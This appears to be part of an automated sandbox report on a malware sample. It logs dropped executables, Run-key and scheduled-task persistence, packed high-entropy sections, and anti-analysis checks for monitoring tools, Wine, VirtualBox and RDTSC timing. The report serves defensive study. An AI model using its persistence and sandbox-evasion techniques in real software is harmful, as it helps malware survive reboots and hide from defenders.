Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B8D5F8 push ebp; retf	0_3_00B8D5FA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B8D5F8 push ebp; retf	0_3_00B8D5FA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B8B26D push eax; iretd	0_3_00B8B2A3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B8B26D push eax; iretd	0_3_00B8B2A3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B86962 push ds; retf	0_3_00B86969
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B8B2A4 push edi; iretd	0_3_00B8B2CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B8B2A4 push edi; iretd	0_3_00B8B2CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B8E601 push ebx; retf	0_3_00B8E602
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B8E601 push ebx; retf	0_3_00B8E602
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B8D5F8 push ebp; retf	0_3_00B8D5FA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B8D5F8 push ebp; retf	0_3_00B8D5FA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B8B26D push eax; iretd	0_3_00B8B2A3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B8B26D push eax; iretd	0_3_00B8B2A3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B8B2A4 push edi; iretd	0_3_00B8B2CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B8B2A4 push edi; iretd	0_3_00B8B2CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B8E601 push ebx; retf	0_3_00B8E602
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B8E601 push ebx; retf	0_3_00B8E602
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B8D5F8 push ebp; retf	0_3_00B8D5FA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B8D5F8 push ebp; retf	0_3_00B8D5FA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B8B26D push eax; iretd	0_3_00B8B2A3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B8B26D push eax; iretd	0_3_00B8B2A3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B8B2A4 push edi; iretd	0_3_00B8B2CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B8B2A4 push edi; iretd	0_3_00B8B2CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B8E601 push ebx; retf	0_3_00B8E602
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B8E601 push ebx; retf	0_3_00B8E602
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B8D5F8 push ebp; retf	0_3_00B8D5FA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B8D5F8 push ebp; retf	0_3_00B8D5FA

Source: file.exe	Static PE information: section name: entropy: 7.9616305846407265
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe.0.dr	Static PE information: section name: entropy: 7.985960142675378
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe.0.dr	Static PE information: section name: wcmebtxw entropy: 7.951549463551246
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.0.dr	Static PE information: section name: xfniszhi entropy: 7.953005680311224
Source: A77BGJTTW6SX9ESX.exe.0.dr	Static PE information: section name: entropy: 7.817884794673511
Source: skotes.exe.3.dr	Static PE information: section name: entropy: 7.985960142675378
Source: skotes.exe.3.dr	Static PE information: section name: wcmebtxw entropy: 7.951549463551246
Source: random[1].exe.5.dr	Static PE information: section name: entropy: 7.9616305846407265
Source: dbec6bb1cf.exe.5.dr	Static PE information: section name: entropy: 7.9616305846407265
Source: random[1].exe0.5.dr	Static PE information: section name: xfniszhi entropy: 7.953005680311224
Source: de379087e7.exe.5.dr	Static PE information: section name: xfniszhi entropy: 7.953005680311224

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run de379087e7.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2155b53b29.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dbec6bb1cf.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dbec6bb1cf.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dbec6bb1cf.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run de379087e7.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run de379087e7.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2155b53b29.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2155b53b29.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 214532 second address: 213D70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a js 00007FDE34C00CDEh 0x00000010 js 00007FDE34C00CD8h 0x00000016 push eax 0x00000017 pop eax 0x00000018 nop 0x00000019 add dword ptr [ebp+122D2B6Dh], ebx 0x0000001f push dword ptr [ebp+122D079Dh] 0x00000025 js 00007FDE34C00CDEh 0x0000002b jl 00007FDE34C00CD8h 0x00000031 pushad 0x00000032 popad 0x00000033 call dword ptr [ebp+122D1E63h] 0x00000039 pushad 0x0000003a cmc 0x0000003b xor eax, eax 0x0000003d je 00007FDE34C00CDCh 0x00000043 mov edx, dword ptr [esp+28h] 0x00000047 clc 0x00000048 mov dword ptr [ebp+122D2DA3h], eax 0x0000004e cmc 0x0000004f mov esi, 0000003Ch 0x00000054 cld 0x00000055 add esi, dword ptr [esp+24h] 0x00000059 clc 0x0000005a lodsw 0x0000005c cld 0x0000005d add eax, dword ptr [esp+24h] 0x00000061 clc 0x00000062 mov ebx, dword ptr [esp+24h] 0x00000066 pushad 0x00000067 jmp 00007FDE34C00CE7h 0x0000006c sub al, FFFFFF81h 0x0000006f popad 0x00000070 nop 0x00000071 jng 00007FDE34C00CE4h 0x00000077 pushad 0x00000078 jp 00007FDE34C00CD6h 0x0000007e push eax 0x0000007f push edx 0x00000080 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 213D70 second address: 213D7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3840C9 second address: 3840EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007FDE34C00CE9h 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3840EA second address: 3840EF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38423C second address: 384240 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 384240 second address: 38424E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FDE34EAC86Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
